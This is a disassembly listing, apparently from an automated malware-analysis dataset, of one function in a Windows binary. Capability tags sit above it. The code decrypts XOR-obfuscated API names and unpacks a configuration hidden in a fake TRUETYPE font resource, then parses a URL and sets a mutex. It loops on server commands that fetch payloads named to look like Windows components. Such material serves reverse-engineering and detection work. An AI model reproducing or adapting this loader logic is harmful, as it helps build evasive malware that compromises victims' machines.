Function at 0x404d30
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Extract resource via kernel32 functions
Parse url
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x444dfc
push eax
mov eax, 0x1084
mov dword fs:[0], esp
call fcn.0041e560
push ebx
push esi
push edi
jmp 0x404d67
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x2c], eax
jmp 0x404d87
push str.MessageBoxTimeoutW
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
jmp 0x404db3
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x20], 0x4d1f4a1b
mov dword [ebp - 0x1c], 0xd6267ad5
mov dword [ebp - 0x18], 0x4c125128
mov eax, dword [eax]
mov word [ebp - 0x14], 0x1fd0
mov dword [ebp - 0x3c], eax
mov ecx, dword [eax + 0x2a4]
lea edi, [eax + 0x1cc]
test cl, 1
jne 0x404e3a
or ecx, 1
mov dword [eax + 0x2a4], ecx
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [edi + 0xe], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [edi + ecx], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x404e26
cmp ecx, 0xe
jb 0x404e10
push 0x445910
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [edi + 0xe], 0
je 0x404e7d
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
nop
mov ecx, esi
mov eax, 0x2971235d
and ecx, 7
mov edx, 0xb9551f87
shl ecx, 3
call fcn.00444580
xor byte [edi + esi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x404e79
cmp esi, 0xe
jb 0x404e50
mov byte [edi + 0xe], 0
push edi
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
jmp 0x404e9c
jmp 0x404eae
mov ebx, dword [ebp - 0x3c]
mov dword [ebp - 0x20], 0x353024db
mov dword [ebp - 0x1c], 0x9c34802f
mov dword [ebp - 0x18], 0x343239e2
mov eax, dword [ebx + 0x2a8]
mov byte [ebp - 0x14], 0x7d
test al, 1
jne 0x404f2e
or eax, 1
mov dword [ebx + 0x2a8], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [ebx + 0x195], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ebx + ecx + 0x188], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x404f1a
cmp ecx, 0xd
jb 0x404f00
push 0x4458d0
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x195], 0
lea edi, [ebx + 0x188]
je 0x404f7d
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0x51514b97
and ecx, 7
mov edx, 0xf347e57d
shl ecx, 3
call fcn.00444580
xor byte [edi + esi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x404f79
cmp esi, 0xd
jb 0x404f50
mov byte [edi + 0xd], 0
push edi
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
jmp 0x404f9c
mov ebx, dword [ebp - 0x3c]
mov dword [ebp - 0x50], 0x9edba82c
mov dword [ebp - 0x4c], 0x4019c168
mov dword [ebp - 0x48], 0x89d4ae0c
mov eax, dword [ebx + 0x214]
mov word [ebp - 0x44], 0xc264
mov byte [ebp - 0x42], 0x4b
test al, 1
jne 0x40501e
or eax, 1
mov dword [ebx + 0x214], eax
mov dword [ebp - 4], 2
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [ebx + 0xd7], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x50]
mov byte [ebx + ecx + 0xc8], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x40500a
cmp ecx, 0xf
jb 0x404ff0
push 0x445890
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0xd7], 0
lea edi, [ebx + 0xc8]
je 0x40506d
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xfba1c17f
and ecx, 7
mov edx, 0x254ba707
shl ecx, 3
call fcn.00444580
xor byte [edi + esi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x405069
cmp esi, 0xf
jb 0x405040
mov byte [edi + 0xf], 0
push edi
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.FONTS
push str.TRUETYPE
push 0
mov ebx, eax
call dword [ebp - 0x34]
mov edi, eax
test edi, edi
jne 0x4050a4
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push edi
push 0
call dword [ebp - 0x24]
push edi
push 0
mov esi, eax
call ebx
push 0x190
push 0
push 0
push 0
push 0x451b18
push 0
mov dword [0x456574], eax
call dword [ebp - 0x30]
mov eax, dword [0x456574]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
inc eax
push eax
push 0x40
call ebx
mov dword [ebp - 0x40], eax
mov eax, dword [0x456574]
inc eax
push eax
push 0x40
call ebx
push dword [0x456574]
mov dword [0x45cdac], eax
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push dword [ebp - 0x40]
call fcn.0041f570
mov ebx, dword [0x456574]
add esp, 0xc
mov edi, dword [ebp - 0x40]
xor esi, esi
mov dword [ebp - 0x1c], 0x444e4153
mov dword [ebp - 0x18], 0x45504950
mov byte [ebp - 0x14], 0x31
test ebx, ebx
jle 0x405158
nop dword [eax]
mov eax, 0x38e38e39
mov ecx, esi
mul esi
shr edx, 1
lea eax, [edx + edx*8]
sub ecx, eax
mov al, byte [ebp + ecx - 0x1c]
mov ecx, dword [0x45cdac]
xor al, byte [esi + edi]
mov byte [esi + ecx], al
inc esi
cmp esi, ebx
jl 0x405130
mov edi, dword [ebp - 0x40]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0x200
xorps xmm0, xmm0
mov dword [ebp - 0x80], 0
push 0
push 0x45aba0
movlpd qword [ebp - 0x74], xmm0
movlpd qword [ebp - 0x6c], xmm0
mov dword [ebp - 0x64], 0
movlpd qword [ebp - 0x58], xmm0
mov dword [ebp - 0x8c], 0x3c
call fcn.0041fce0
add esp, 0xc
mov dword [ebp - 0x88], 0x45aba0
mov dword [ebp - 0x84], 0x200
push 0x200
push 0
push 0x45a998
call fcn.0041fce0
add esp, 0xc
mov dword [ebp - 0x7c], 0x45a998
mov dword [ebp - 0x78], 0x200
push 0x200
push 0
push 0x456788
call fcn.0041fce0
add esp, 0xc
mov dword [ebp - 0x60], 0x456788
mov dword [ebp - 0x5c], 0x200
jmp 0x405207
mov eax, dword [0x45cdac]
add eax, 0x2c
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [0x45cdac]
lea edx, [ebp - 0x8c]
push edx
push 0
add ecx, 0x2c
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
jmp 0x405242
push 0x200
push 0
push 0x456578
call fcn.0041fce0
add esp, 0xc
push 0x456788
push 0x456578
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x40]
push eax
push 0x451b20
push 0x456578
call fcn.00421746
add esp, 0xc
push 0x190
push 0
push 0
push 0
push 0x451b18
push 0
call dword [ebp - 0x30]
push 0x2000
push 0x45ada8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x45cdac]
add eax, 4
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
jne 0x4052d4
jmp 0x4052cc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x4052e6
push 0
call fcn.00421874
add esp, 4
mov dword [ebp - 0x1c], edx
push eax
call fcn.004217a9
add esp, 4
jmp 0x40530e
call fcn.00403030
call fcn.004023d0
push dword [0x45ada4]
call fcn.004218dc
add esp, 4
push dword [0x45cda8]
call fcn.004218dc
add esp, 4
push dword [0x45cdb0]
call fcn.004218dc
add esp, 4
push dword [0x45ab9c]
call fcn.004218dc
add esp, 4
push dword [0x45ab98]
call fcn.004218dc
add esp, 4
push dword [0x456568]
call fcn.004218dc
add esp, 4
call fcn.00404960
push 0x190
push 0
push 0
push 0
push 0x451b18
push 0
call dword [ebp - 0x30]
call fcn.00405cb0
mov ebx, dword [ebp - 0x3c]
mov dword [ebp - 0x30], eax
mov eax, dword [0x456994]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebx + 0x16c]
mov dword [ebp - 0x38], 0x8bcc326f
mov byte [ebp - 0x34], 0xd9
test cl, 1
jne 0x40540e
or ecx, 1
mov dword [ebx + 0x16c], ecx
mov dword [ebp - 4], 3
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [ebx + 0x201], 1
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x38]
mov byte [ebx + ecx + 0x1fc], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x4053fa
cmp ecx, 5
jb 0x4053e0
push 0x445850
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x201], 0
lea edi, [ebx + 0x1fc]
je 0x405460
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xefa54507
and ecx, 7
mov edx, 0x19c395d9
shl ecx, 3
call fcn.00444580
xor byte [edi + esi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x405459
cmp esi, 5
jb 0x405430
mov ebx, dword [ebp - 0x3c]
mov byte [edi + 5], 0
push dword [ebp - 0x24]
push edi
push dword [ebp - 0x30]
call fcn.00405ae0
mov eax, dword [ebx + 0xc0]
mov dword [ebp - 0x28], 0x67690697
mov word [ebp - 0x24], 0x327a
mov byte [ebp - 0x22], 0xa7
test al, 1
jne 0x4054de
or eax, 1
mov dword [ebx + 0xc0], eax
mov dword [ebp - 4], 4
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [ebx + 0x16b], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x28]
mov byte [ebx + ecx + 0x164], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x4054ca
cmp ecx, 7
jb 0x4054b0
push 0x445810
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x16b], 0
lea edi, [ebx + 0x164]
je 0x405530
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xb1963f3
and ecx, 7
mov edx, 0x11a74b15
shl ecx, 3
call fcn.00444580
xor byte [edi + esi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x405529
cmp esi, 7
jb 0x405500
mov ebx, dword [ebp - 0x3c]
mov byte [edi + 7], 0
movsd xmm0, qword [0x451d10]
sub esp, 8
movsd qword [esp], xmm0
push edi
push dword [ebp - 0x30]
call fcn.00405a20
mov eax, dword [ebx + 0x210]
mov dword [ebp - 0x2c], 0xb391ba51
test al, 1
jne 0x4055ae
or eax, 1
mov dword [ebx + 0x210], eax
mov dword [ebp - 4], 5
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [ebx + 0x108], 1
nop
mov al, byte [ebp + ecx - 0x2c]
mov byte [ebx + ecx + 0x104], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x40559a
cmp ecx, 4
jb 0x405580
push 0x4457d0
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x108], 0
lea edi, [ebx + 0x104]
je 0x405600
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xb3e3df27
and ecx, 7
mov edx, 0x2bd92345
shl ecx, 3
call fcn.00444580
xor byte [edi + esi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x4055f9
cmp esi, 4
jb 0x4055d0
mov ebx, dword [ebp - 0x3c]
mov byte [edi + 4], 0
movsd xmm0, qword [0x451d28]
sub esp, 8
movsd qword [esp], xmm0
push edi
mov edi, dword [ebp - 0x30]
push edi
call fcn.00405a20
nop word [eax + eax]
cmp dword [0x45ada0], 0
jne 0x405637
call fcn.00404750
cmp eax, 1
je 0x405823
push edi
call fcn.00405f10
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
mov esi, eax
call fcn.00405f10
mov edx, esi
mov ecx, eax
call fcn.00401160
push eax
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [ebp - 0x38], 0xa4a3b0bf
mov eax, dword [ebx + 0x1ec]
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x34], 0x91fa1af0
test al, 1
jne 0x4056de
or eax, 1
mov dword [ebx + 0x1ec], eax
mov dword [ebp - 4], 6
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov byte [ebx + 0x160], 1
nop
mov al, byte [ebp + ecx - 0x38]
mov byte [ecx + ebx + 0x158], al
add ecx, 1
adc edx, 0
test edx, edx
jne 0x4056ca
cmp ecx, 8
jb 0x4056b0
push 0x445790
call fcn.0041e08d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp byte [ebx + 0x160], 0
lea edi, [ebx + 0x158]
je 0x405730
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
mov ebx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
nop dword [eax + eax]
mov ecx, esi
mov eax, 0xc5d7d1db
and ecx, 7
mov edx, 0x91893fcd
shl ecx, 3
call fcn.00444580
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
test ebx, ebx
jne 0x405729
cmp esi, 8
jb 0x405700
mov esi, dword [ebp - 0x24]
mov byte [edi + 8], 0
push dword [ebp - 0x2c]
push edi
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x1090]
push 0x1000
push 0
push eax
call fcn.0041fce0
add esp, 0xc
lea eax, [ebp - 0x1090]
push 0x1000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ecx, esi
call fcn.00401420
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov al, byte [ebp - 0x1090]
cmp al, 0x31
jne 0x405792
push 1
push 0x451b24
mov ecx, str.remotepg.zip
jmp 0x4057b4
cmp al, 0x32
jne 0x4057a4
push 2
push str.System_Applet_for_the_Control_Panel
mov ecx, str.sysdm.zip
jmp 0x4057b4
cmp al, 0x33
jne 0x4057bc
push 3
push str.Media_Foundation_Source_and_Sink
mov ecx, str.mfsrcsnk.zip
call fcn.00403a10
add esp, 8
jmp 0x4057ce
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x4057e9
jmp 0x4057fb
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405818
mov ebx, dword [ebp - 0x3c]
mov edi, dword [ebp - 0x30]
jmp 0x405620
jmp 0x405835
push dword [ebp - 0x30]
call fcn.00405ce0
jmp 0x40584f
push dword [0x456994]
call fcn.004218dc
add esp, 4
push dword [0x45cdac]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10